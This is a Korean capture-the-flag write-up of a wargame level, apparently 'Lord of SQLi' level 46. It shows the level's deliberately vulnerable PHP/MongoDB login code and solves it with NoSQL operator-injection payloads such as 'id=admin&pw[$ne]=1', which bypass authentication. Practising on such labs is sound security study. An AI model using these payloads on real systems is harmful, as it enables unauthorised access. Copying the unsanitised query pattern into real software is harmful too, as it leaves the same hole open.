LOS Lv.46 cerberus
cerberus
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
query : {"id":null,"pw":null}
<?php
include "./config.php";
login_chk();
$db = mongodb_connect();
$query = array(
"id" => $_GET['id'],
"pw" => $_GET['pw']
);
echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
$result = mongodb_fetch_array($db->prob_cerberus->find($query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
if($result['id'] === "admin") solve("cerberus");
highlight_file(__FILE__);
?>
Solution
1
2
3
4
이번엔 monngodb임.
mongodb는 여태했던 sql문을 쓰지 않음.
따라서 NOSQL(Non SQL) Injection을 사용해야 함.
https://www.netsparker.com/blog/web-security/what-is-nosql-injection/
NOSQL Cheat Sheet
MONGODB 설명
1
2
3
4
5
위 문제에서 입력값을 넣어주면 double quotes로 감싸져있고,
single quote 등을 입력하면 escape 처리를 해버림.
그래서 배열 형태로 입력해줘야함.
NOSQL 기본 형태는 다음과 같음.
1
2
3
4
{"id":{"$ne": 1},"pw":{"$ne": 1}}
-> $ne 연산자는 not equal로 id와 pw 값이 1과 다르므로 true가 되서
모든 값을 가져올 것임.
연산자가 매우 중요한 듯함.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$eq : ==
$gt : >
$gte : >=
$lt : <
$lte : <=
$ne : !=
$in : 주어진 배열에 속하는값
$nin : 주어진 배열에 속하지 않는 값
1
2
?id[$ne]=1&pw[$ne]=1
??id=admin&pw[$ne]=1
This post is licensed under CC BY 4.0 by the author.